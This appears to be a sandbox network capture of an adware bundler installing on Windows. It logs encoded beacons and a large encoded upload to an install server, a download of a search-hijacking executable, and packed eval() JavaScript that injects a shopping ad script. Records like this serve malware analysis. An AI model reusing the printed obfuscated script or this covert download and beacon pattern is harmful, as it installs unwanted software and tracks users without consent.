Date: Wed, 17 Dec 2014 16:44:57 GMT

Content-Length: 216
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<......
.[......m.zt........../..>|...;.......~..<n..........].....]....
_....%.8.............HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: text/html; charset=utf-8..Content-Encoding: gzip..Vary: Accept-E
ncoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Pow
ered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:44:57 GMT..Content-Length:
 216...............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@.
.....{....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<
.......[......m.zt........../..>|...;.......~..<n..........]....
.]...._....%.8.................


GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4; _ga=GA1.2.1924808397.1418834698; _gat=1




HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:45:08 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>..HTTP/1.1 404 Not Found..Content-Type: text/html..Server: Micros
oft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:45:0
<<< skipped >>>


GET /mg?alpha=ZhhjEzxQJ1lKeVJXTDkzZ1wwHjxmXmFiOxYCFycjFUwidjg3EX5hJmxYYmcZPnh7N0kXbg0Zen5sRkoqdRBZHkkeT39cNzZ3QzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 17 Dec 2014 16:44:41 GMT

Content-Length: 1792
7jRG32OYbUiOMuV7e6M8 WwC12y7IxnIKIoDEI914G0G2yLyCBO7B/4OIaVPoD5Ryk6qGj
rXM5FbdOcAlg1WrFDCdFGdIcw3Dp50zWhT5CXARAPbfb5oQPYg9DYwyCqoE1iDdKdaAPhR
qSMkiG/nMEnUWrIeNM90unJC0DG NVyOScVjFsk7 jQMxiTEa3LiNNJ5BNd5rUJL9jDDSE
7LLrQmT9V04gsS7lKuIkjTZON AN8D/BdgjHK2IB3HN640d8Nekm9Q0W 2aEzIctt0ZaNr
vlA77VjqLQHjMtwCVpdtiyxZkDj/HQT3XLA1NrVS8H0Q31ytUlWCf6t2SMFn93N8jknFY3
qSOOp6WoRzzmgsozTkaBXde61ldfI/3Q9WlyGtOUbVdO0XBPpYkicegHTnURvfTLVQIotw
rnFCn2eyIm6YSsJiFskz7jQTjyqAYXjgMug6Ssp9vWRevyiKAxCPdeFkBtsi8ggTuwf Di
G6VaA UcpOqho61zORe1TaK680eIFE3HVorwb7KgmEYdEmLKMn/XQF20GpbEaxacYfGMFj
 jBSiTPoDBP9a70qH4wguHwG1kPyUH6CY6FnadIxsidvrE3VZV/Rb k5DJljjiZp8jXrdw
LaLfJnQv8gzUZWyDe5Nl7bbP8KA/xA8D1IgGagKEqIA/wGYZ104DgF w6IBijDB8BnQJt3
tXozk3XLanTkI/J5HM1TlEBW5zz6HxrebfR3XJg6/h04 FC5ZFCHd 5 X5hKpgJ9jmWnZn
HSKa40KNVLxWpY33fpNxKJY xldOgn VsY22yjIxn1MsQZEYFtsSZOjjn5HFSjW70qGYwu
oHcL20yqUCKZY7dnWp8  ThuzR JNRjRIfYoBcg8gExL0ga NFLObrxpAalx xMHxCGsMF
iXN cLKsVtrikJrXfvYlGWDagTdJh0jGNK1mfhP3 DSZwkUYsl6jsUj2L0ZWz0NL4iHstj
pC0B9TzaCRHjLqw8XJwV4x0V8h/mIAuFcec UdNcugV3n3XgOEHSKag0Js1AyGdXh3e1LB
KfY98oe6M4 DpKhzvkI1fqI81ITo8HkwZ923qpCBftVf58SKRr4WAcyUC4BkSxRqtsQ9wy
qA1WrFDCdFGdIdk9EplvzWpc3QTycR7Ne6ltT88P6QQAxAO3Mk2cJKlUVO9csDMPp2Pvd1
GAQasedMEzp3pX1iavNG65RNxzUdFv4S0MhiqAYm/zMvlWEcpmvmRg zbLAVaXKbk5WZx6
qREF/UqzNA7LOORzH8lK8lB9lXChdgWJMakkb5IJyyRdl3e1aVDYKoBwefE0viJS9kSbVg
G/cdgLAMVt4ndnkDX5FwX2W6gaNr5r7HYczVyCLluYY7BnSccTviN5hkreWmimO Y2E55n
zmhc3Qb1ahXNZ6lzSLF/ihwVwTq9G0uUM6lCGOxRsGpIjHrydxDOSrokeYFkpyAd3TC3PS
bNQ990V5Yb7iwJnGPhbGXiOr4iFt9ju2QPsTrbDgPCPbx3EJ835wsTtR 5PguKdqAo
<<< skipped >>>

GET /fp?alpha=cA07ERwsDSQrcHMqFDsTcUloHBxwUS1gXVcMeg5Adxk2EVpyfDxhBgQ5JGJIMWg/QBVtfyEbXHF5Hkl8aClOYGoeB30JaFVULQIKVVlAHAMzDDhdQmcVbGUZDmM7Uwl1WXoFGCB3Mm5wd0onCk4qHjZFY3FzVRdDbQtqTxwnGxkcDGNIKE9PPFQrBE1YHUV/DmMRLUcRdllmfRkHcz8GHSdVdwQdNXA7d3R7X3UVXX8cLhY0YC9XBQwxBgoVVSAGHll6eloqVUR+DXJDEFlOXQN6RgdvAhRrCm5sHQZlOVEWJx87Cn58L284NTFfU0IbeUVqESIeN1YaXWgMaHccMB0eRWdvD3ENHlVUKwk4BAo8YhhHFDxdMW8LanAdBmUwIQIFWxVzbScTKwt+JWVt HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 17 Dec 2014 16:44:44 GMT

Content-Length: 0
....


GET /ii?alpha=cwkDEGZlTRFjUzZkLDppck1QHWZzVQ84a0Y6FwEjIVVJVyNmeGA5TTMYSmd3bwlfA08xBjkfJm8OVlJxdEJ+Fw4cCUMOZStDTFY+TlgaPTlxFEAQLCZbW2tgcRF3UQ9wRSwHZ1NoBxIAc1ZtYjNZAndMa3N/ZRYgHXtXTGYrGnITBlsGQwxhJksUFy0ODmt/ZjMXAEgsMVkAHiRaalgHMjUEAEQ2MCFWMHozFHkbNi8BBlsTcX9tDCVpClBNZiEJIGxPTgYkb3Z9FlFcc1oEEic6ZUpCAiZ1ClJxNFwjFw05Mw0dCx5/JkE5Sy4dWwZQdkFSGl0wb2oCRC1QBBkzNQUgTkFBGz8ccGQAV1ZqUFdldHQ3CwRfPWMMV3wlUCVHCykgSB9XMH1lCXYJb0sJSXRzTlgSFwYhOk59LFdCVBUoBTtFRA1oBV0kdxYMA21JBHFoOjNVCAgsNEpbZWYZZgFQbCgJUgZjLHADbA13QR0XPS8eDEIeZSspH0ISSAMOJWpMGW1XTEkUHAZ7F1FQYlMZFm4HQnZ8UU48Tw18ElAhWAEvYw0BVW4nY0lrCQBaU0lCcE0= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 17 Dec 2014 16:44:45 GMT

Content-Length: 84
qdygT/ajhuJLg7a/nTO3r5HiW mt0 dChKDQxh/2vci BeH2/uVlxLeM4RzktpvyT5ij9I
sR6PjlMuJVGPVeHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Wed, 17 Dec 2014 16:
44:45 GMT..Content-Length: 84..qdygT/ajhuJLg7a/nTO3r5HiW mt0 dChKDQxh/
2vci BeH2/uVlxLeM4RzktpvyT5ij9IsR6PjlMuJVGPVe....


POST /if?alpha=cwkDEGYrUg1NWDt6LDppck1QHWZzVQ84a0Y6FwEjIVVJVyNmeGA5TTMYSmd3bwlfA08xBjkfJm8OVlJxdEJ+Fw4cCUMOZStDTFY+TlgaPTlxFEAQLCZbW2tgcRF3UQ9wRSwHZ1NoBxIAc1ZtYjNZAndMa3N/ZRYgHXtXTGYjD3JzSEhXHXU+exFuTG9TajInIGJNExx8aA9AKmsHZwBWZHRaQQdkOHQBZAp0QglCYnltRBoXKiolUngwTQdaJCMKDVJPewZADH4iSxwXMw8XdHhhMxQTFm86cAk/a2AEFw05MREfU25BLF0yVzYIAwYxKwJUHF5lIC5UcS0CLxUjNAM8T0ZZGyZVPnYKUlYjCBkVPDtnQEYCYzpSBzB2e3cRFC83GwZZPTZ/E2AWcFUYEDcuD0UQWDUmPkc0L14BF2B8TH4OEAtUAlAxfAIYYG1YVSw9PCENYB9jIVkCfAVBNkUHOWxOAUBuImNdZEh8AglHcSIWBlkbc317T3ViD1JGdXZWehYaHwpLDGEoUhEDZ0sEEwMjYFdQXSoDcRE9JFB3Zws4MR0OWnNFZWAVawhba090dA9yEFwqLDhIGHw+THUo HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Content-Length: 31083

Connection: Keep-Alive

Cache-Control: no-cache



alpha=ZhhjEzxxQFtfIElGbD5KcVYgFXB9DWA YFMjIAxxQGYUWQ==|,|ZhhjEzwxZgITEBYsbANdQHAcIHB9DUVlUHU1NBNjDBhrWFVCJCMRAyALE2kyaV86KiQzM019HSVbcBx/Eg1fUzkOQUcQeA==|,|ZhhjEzxAXxg9BWlJcQhDRBRoUhN6cVMsaVI1DQB0PSVORXlHNSc0PhgFLEQxVmozGwB9bS9mNSMd|,|ZhhjEzx W2sYfBMbYjhncGsWOxRgECYgDC5MRlJZ|,|ZhhjEzx2GmwPfgFVbCN9YFU5HnATSHUsZU8ocSZlOR0vCCk0YhcTJGcveggeOwoTW0QSZg8MDA4aRFJbajwfE0IMHlN7Pzd3QzZrVi9y|,|ZhhjEzwjbw5EJBZFbD5dfVgwHCRgS3QwYQAlPgx9MRdrFWVqOjZ1X3RbQkhybAt1aw==|,|ZhhjEzxoDmMMOTpubCN9YFU5HgMvWHQ8aQAgIw59cBpgWGRiOjd1Dj0EKgVgKk07BkEjP307cWY1Ix0=|,|ZhhjEzw7L0o3UWhrbCN9YFU5HgMvWHQ8aQB7cRJ9IEh6VEEcITlpIQg=|,|ZhhjEzxMFD0PHHVxdiZnZHITUjYyQmt/b08rPAB NFljXGdmdG51QkhybGkhAQ==|,|ZhhjEzxMFD0PHXBxdiZnZHMWUjYyQ
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 17 Dec 2014 16:44:45 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Wed, 17 Dec 2014 16:44:45 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=536495, public, no-transform, must-revalidate

Last-Modified: Tue, 16 Dec 2014 21:44:34 GMT

Expires: Tue, 23 Dec 2014 21:44:34 GMT

Date: Wed, 17 Dec 2014 16:47:23 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2014121
6214434Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20141216214434Z....20141223214434Z0...*.H........
.....*M..q."...|l......R...L....X.Kmf.C..=..`.Dq.l.iO..../...g-.^...y.
.f*f..d..L.....~5.i..O2.8..........45...e{;p....w1Li.......,K.K...r...
..,X8.^.$ld...h.j..(`..uG$^...#....Xl.5...*f......h.v...vp9..(......%1
..#.z?r4q`:.....I.S.b..p.t.1...E......`..9...%.y.......0...0...0......
......I...*....^n...0...*.H........0..1.0...U....US1.0...U....thawte, 
Inc.1(0&..U....Certification Services Division1806..U.../(c) 2006 thaw
te, Inc. - For authorized use only1.0...U....thawte Primary Root CA0..
.141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, Inc.190
7..U...0thawte Primary Root OCSP Responder Certificate 30.."0...*.H...
..........0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.s.....
S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..8|.B..
^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..kao]c...
>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<.3.).
..y#.........i0g0...U.%..0... .......0... .....0......0...U.......0.0.
..U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H..............
..lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f... .....
....GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya..:...
^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S....h....
....U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=502319, public, no-transform, must-revalidate

Last-Modified: Tue, 16 Dec 2014 12:14:23 GMT

Expires: Tue, 23 Dec 2014 12:14:23 GMT

Date: Wed, 17 Dec 2014 16:47:23 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0...............w/.|`....a...2014121
6121423Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20141216121423Z....20141223121423Z0...*.H........
.....f.............. %....`&.....\2....O..55.....0T.|-m...GG.... .OF.`
[email protected]...\f.A..........w..1.......4..._....C.q:..<......^
hS8.....#.....v..._.6T ..........W.......U....y5hg.B.V.....sp....I..$.
........z.Uw.....u.]1]...}dSdP............&.&_..i{..{.....0...0...0..y
[email protected]...*.H........0J1.0...U....US1.0...U....Thawte
, Inc.1$0"..U....Thawte Code Signing CA - G20...141210000000Z..1503102
35959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Sig
ning CA - G2 OCSP Responder0.."0...*.H.............0..........P.....].
8?e...8.0.. ...-.uP.3....pQ......mi..wVt.......<....{d.?..9..z%.?..
}.N`.V.........I.X...E#...*.f...X.;...75......%...n.%..#..T.<.....f
EQ.\\.f.{M.H...M..u...9~..C....B.o..........dc...V..,.........{...j.9.
xw?D..ooNf&=......D|.R..../.....So....*-5.......d0b0...U....0.0...U.%.
.0... .......0...U........0... .....0......0"..U....0...0.1.0...U....T
GV-B-25170...*.H.....................2.).xO...].6..R.k...H =d...L...(o
0#.......<O#.;[email protected]...^.q.Y...}....S(syt&...$..L..7<...nb|...]
2c..q..Q.L.3,.............n>....tND..fJ.&. .....%7.....f.31.>..d
...ET.E.~.x...]N...*.......n......HI..*M..t.......:.=.:..(2M".S.....&.
...................
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=255395-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 36485

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 255395-291879/291880
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=2&index_in_screen=1&index_in_session=2&display_height=185&0.4803534880991893 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:42 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:42:42 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /sbitin/javascript.js?hid=eb48a9ab-49f6-4199-935d-4935ca672341&apptitle=ShopperPro&channel=iECHwJSsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 17 Dec 2014 20:44:56 GMT

Cache-Control: max-age=14400

X-Origin: opt

X-Accel-Expires: 0
1c18../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/sbitin/javascript.js?hid=eb48a9ab-49
f6-4199-935d-4935ca672341&apptitle=ShopperPro&channel=iECHwJSsmtycl&co
untryCode=UA&sset=3&ip=37.57.16.189";if(typeof window.JavaScriptJsTagU
rl==='undefined'||window.JavaScriptJsTagUrl==null){window.JavaScriptJs
TagUrl=tagUrl}}catch(e){}try{if(typeof window.JavaScriptJsTags==='unde
fined'||window.JavaScriptJsTags==null){window.JavaScriptJsTags=""}if(w
indow.JavaScriptJsTags.length>0){window.JavaScriptJsTags=window.Jav
aScriptJsTags " : "}window.JavaScriptJsTags=window.JavaScriptJsTags ta
gUrl}catch(e2){}})();..eval(function(p,a,c,k,e,r){e=function(c){return
(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):
c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e
(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while
(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return
 p}('6 n;6 o;4(9 2m==="8"){4(9 5==="8"){6 2n=c 2o(T){4(T.h("1X")>=0
)7 T;t{6 18="";1q(6 i=0;i<T.N;i =2)18=18 2p.2q(2r(T.1r(i,2),16));7 
18}u(2s){7 T}};6 19="i";6 1a="y";4(O.1b(P 13("1Y\\z","g"))){6 1s=O.1b(
P 13("1Y\\z(. ?)($|\\14|#)"))[1];4(1s.N>0&&1s==="G"){19="2t";4(O.1b
(P 13("1Z\\z","g"))){6 1t=O.1b(P 13("1Z\\z(. ?)($|\\14|#)"))[1];4(1t.N
>0&&1t==="G")1a="G"}}}5={"B":"2u","C":"","U":"","V":"","2v":"","19"
:19,"1c":"","1u":"","K":"","1a":1a,"1v":"","1w":"","W":"","Q":""};
<<< skipped >>>

GET /opt_content.js?v=opt_1416232566135&partner=sbitin&channel=sbitiniECHwJSsmtycl&sset=3&appTitle=ShopperPro&sset=3&ip=37.57.16.189 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 17 Dec 2014 16:44:57 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 20 Dec 2014 16:44:57 GMT

Cache-Control: max-age=259200

X-Origin: opt

X-Accel-Expires: 0
827d../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/opt_content.js?v=opt_1416232566135&p
artner=sbitin&channel=sbitiniECHwJSsmtycl&sset=3&appTitle=ShopperPro&s
set=3&ip=37.57.16.189&countryCode=UA&sset=3&ip=37.57.16.189";if(typeof
 window.JavaScriptJsTagUrl==='undefined'||window.JavaScriptJsTagUrl==n
ull){window.JavaScriptJsTagUrl=tagUrl}}catch(e){}try{if(typeof window.
JavaScriptJsTags==='undefined'||window.JavaScriptJsTags==null){window.
JavaScriptJsTags=""}if(window.JavaScriptJsTags.length>0){window.Jav
aScriptJsTags=window.JavaScriptJsTags " : "}window.JavaScriptJsTags=wi
ndow.JavaScriptJsTags tagUrl}catch(e2){}})();..eval(function(p,a,c,k,e
,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?St
ring.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){w
hile(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){
return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c)
 '\\b','g'),k[c]);return p}('"1i"===1h $&&($="a");"1i"===1h 1e&&(14(a,
b){14 d(a){19 f.9L(a)?a:9===a.1P?a.7Z||a.tW:!1}14 e(a){if(!za[a]){1c b
=r.2w,c=f("\\2o" a "\\1F").d5(b),d=c.1N("2Y");c.3h();if("3X"===d||""==
=d){fa||(fa=r.2y("6H"),fa.jD=fa.2k=fa.2l=0);b.3i(fa);if(!ka||!fa.2y)ka
=(fa.d6||fa.jE).1p,ka.tX(("jF"===r.jG?"\\2o!tY 2e\\1F":"") "\\tZ\\1F\\
u0\\1F"),ka.u1();c=ka.2y(a);ka.2w.3i(c);d=f.1N(c,"2Y");b.6I(fa)}za[a]=
d}19 za[a]}14 c(a,b){1c c={};f.1D(Ia.bj.2F([],Ia.3A(0,b)),14(){c[1
<<< skipped >>>


GET /mg?alpha=ZhhjEzxzI1QbXmBrTDkzWVEhADk4C2cvfB0VPhRiMxxORXklJzRoVWIuCWNuTwt7NUFiGxAVCnIcLz1eZzsCYkN5GiEHPjM2ARNpDEtMKTMkBGVCYHAdNnI8EHZhTCBgST8YOTNkY3hSZFp/FW06DmZGQGZ4VFJzOUNyTm8yW0JCRwgaKwo6PUFzHGsbEhV8NCMAcx8mfR4gOmJDe2AMazQ4RUMK HTTP/1.1

Connection: Keep-Alive

User-Agent: WinHttpClient

Host: install.sourceapp.info




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 17 Dec 2014 16:44:41 GMT

Content-Length: 183280
f7pH9/88hgu2 VuLeougaOID//AqrRjgtBuNEafpcPcJpbNqk1WLgwWDOJa8P74C88cn3i
PnxjL/Vv6rObRyi9hDqhn5v3 6FKfUUudki/dj4x36v3vqWsuqWpAQ4YUot1606CCYAt3N
YeoNruxw TzzxyaKfIblNu9NueMsvme03A2qXKitabkTprgJ7GDFvmi6U/PrOOxWmfVNlg
DgrmWgCbiuOMxPiY1vvBKx zGmUNr4A7E76a8j7VLz 3D9WJ7qdc14h5VdoxOw/13 Qsaj
eeQe sA8 37nvFyWA ywLKh3jY5/kwf30zfqR PocvAH9/0ukXzntz35Svf1aLpzt9xC/F
C/n3 6FKe4CeR0xaEhtBf54TrqbNq7UJIQxrssuEDz8HyXG8LEYeoCsvpk8wD2kXWaeKn 
NqAE/qErvH/lg1X6QL60Mq1Dq/4RsDiZ4S/iCOb2e7UA84Rqs1ep8Tm6X7noINQkyNIkph
 k7H39HuHvE6xrqu42/1W7lCWxYrPWU6oZ b9/uhSn1FLnZIv3Y Md r976lrLqlqQEOGF
KLdetOggmALdzWHqDa7scPk888cminyG5TbvTbnjLL5ntNwNqlyorWm5E6a4Cexgxb5oul
Pz6zjsVpn1TZYA4K5loAm4rjjMToCNb7wSsfsxplDa ByrO mvI 1S8/tw/Vi ykjmQb67
cLcNscZv2XXbpGPxArS/e/lD17pcqhTotmvhRaSmdtpV1Nk9rQi1 3fKE/7GKt4jq/g/4A
q5vyWtaKL3QPxcraxdvgSh8RGwZ8ihfvNdtPoq61XUvV3GT OyJahO/eh/jhbS1W/yH7Pr
